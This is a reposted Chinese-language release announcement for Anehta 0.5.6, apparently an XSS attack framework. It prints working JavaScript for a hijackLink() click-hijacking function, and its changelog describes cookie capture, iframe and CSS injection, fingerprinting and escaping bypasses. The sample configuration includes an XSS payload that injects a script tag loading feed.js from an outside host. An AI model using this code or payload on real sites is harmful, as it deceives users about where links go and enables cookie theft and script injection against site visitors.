首页 网络安全 安全学院 查看内容

Anehta -- hijackLink()链接劫持

2008-11-4 10:00 858 0

摘要: 来源:Ph4nt0m Group在Anehta 0.5.6 中引入了一个新的函数 anehta.trick.hijackLink();这个函数是来源于 Dustin D. Trammell ...
关键词: Anehta 函数 配置 链接 link hijackLink onmousedown http 一个 php

来源:Ph4nt0m Group在Anehta 0.5.6 中引入了一个新的函数 anehta.trick.hijackLink();这个函数是来源于 Dustin D. Trammell   的一篇bloghttp://www.breakingpointsystems.com/community/blog/clickjacking-technique-using-the-mousedown-event这也可以认为是clickjacking的一种,不过我认为叫做 hijackLink 更加合适。原理就是 绑定 链接的 onmousedown 事件, 当鼠标点击链接时,将href 替换为新的url,从而起到了劫持的效果。比如我在demo页面中,有这样一个链接: 在Anehta 0.5.6 中引入了一个新的函数 anehta.trick.hijackLink(); 这个函数是来源于 Dustin D. Trammell   的一篇blog, http://www.breakingpointsystems.com/community/blog/clickjacking-technique-using-the-mousedown-event 这也可以认为是clickjacking的一种,不过我认为叫做 hijackLink 更加合适。 原理就是 绑定 链接的 onmousedown 事件, 当鼠标点击链接时,将href 替换为新的url,从而起到了劫持的效果。 比如我在demo页面中,有这样一个链接:即便是查看属性,也是显示的taobao.com这个链接。 但是如果我们用鼠标点开这个链接,却会跳到百度去实际上这个过程只是调用了 anehta.trick.hijackLink(document.getElementById('ln'), "http://www.baidu.com"); 就劫持了链接 "ln"了。 这个函数实现过程如下:anehta.trick.hijackLink = function(link, url){if ( link.addEventListener ) {link.addEventListener("mousedown", function(e){link.href=url;}, false);} else if ( link.attachEvent ) {link.attachEvent("onmousedown", function(e){link.href=url;});} else {var oldhandler = link["onmousedown"];if ( oldhandler ) {link["onmousedown"] = function(e){oldhandler(e);link.href=url;};} else {link["onmousedown"] = function(e){link.href=url;};}}}下载地址为: http://anehta.googlecode.com/files/anehta-v0.5.6.zip http://anehta.googlecode.com/files/anehta-v0.5.6-withoutQQWry.zip 镜像下载为: http://www.nukeblog.cn/anehta/anehta-v0.5.6-withoutQQWry.rar (感谢nuke提供镜像) 这次作出了许多改进,以及修复了许多bug。 主要changelog如下: Bug Fix: 修正了slave/index.php中设置header的一处bug 修正了glype 中自定义cookie时找不到当前路径导致提交失败的bug 修复了admin.php和/slave/index.php中时区显示不正确的bug 修复了当水印为null时有时候会读取出错的bug fix其他一些小bug 功能调整: base.js改名为 anehta.js anehta.js 不再依赖于jQuery,可以单独加载 扫描签名移到scanner.js中,可选择性加载 修改了clx模块中取cookie的方式,改变成每次访问都发送cookie 将anehta.logger.logCache()移动到了更重要的clx.js中,保证该函数的运行 修改了anehta.inject.injectFlash,加强了兼容性和健壮性 修改了 anehta.inject.injectIframe, 增加了注入iframe的id 和 name属性 改变了logCache()函数的方法,从GET改成POST,支持提交大数据 修改了logCache()函数提交的数据,改变为每次只提交cache中变更的数据 后台realtimecmd提交采用base64编码,以绕过magic_quotes对特殊字符的转义。 发送邮件后从只删除log.txt变为删除整个目录 增加了safe_php库,修补了个别后台的XSS漏洞 调整了文件的目录,主要php文件都集中放到了server文件夹中 New Feature: 新增以下函数: anehta.inject.addIframe(); anehta.inject.injectCSS(); anehta.net.cssGet(); anehta.net.postFormIntoIframe(); anehta.detect.screenSize(); anehta.trick.hijackLink(); anehta.misc.getCurrentPage(); 新增了检测浏览器类型的方法,增加对浏览器指纹的判断,防止了userAgent伪造 统一了anehta.js中函数的命名规则:统一为,第一个单词小写,之后每个单词均大写开 头字母:比如getCurrentPage(); 新增了help 模块,可以直接调用 anehta.help(); 查看API手册 新增一个配置脚本: /server/config.php ,可以通过该页面修改配置(admin.php默认 集成了此页面) 关于使用: 下载后,只需要解压缩所有文件到某个目录就可以了 使用前先访问 http://xxxxx/anehta 会自动跳转到 http://xxxxx/anehta/server/admin.php 此次新增了对anehta的配置选项: 目前暂时不支持对mail.php 的配置,以后会加上,需要配置邮件的朋友,请手动打开 server/mail.php 进行配置。 在上面的配置中,修改 anehtaurl 后会自动配置到所有JS文件中,以上三个配置都需 要写,不然无法生成正确的JS文件。 一个典型的配置如下: anehtaurl: http://www.a.com/anehta   boomerangtarget: http://www.alimafia.com/xssDemo.html#'><script src=http://www.secwiki.com/anehta/branches/1/feed.js></script><' boomerangsrc: http://www.a.com/anehta/demo.html 修改成功后会显示上面三个设置的值,如果没修改成功,请再提交一次表单 如果要使用demo.html,请记得修改demo.html中的XSS引入feed.js的地址。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部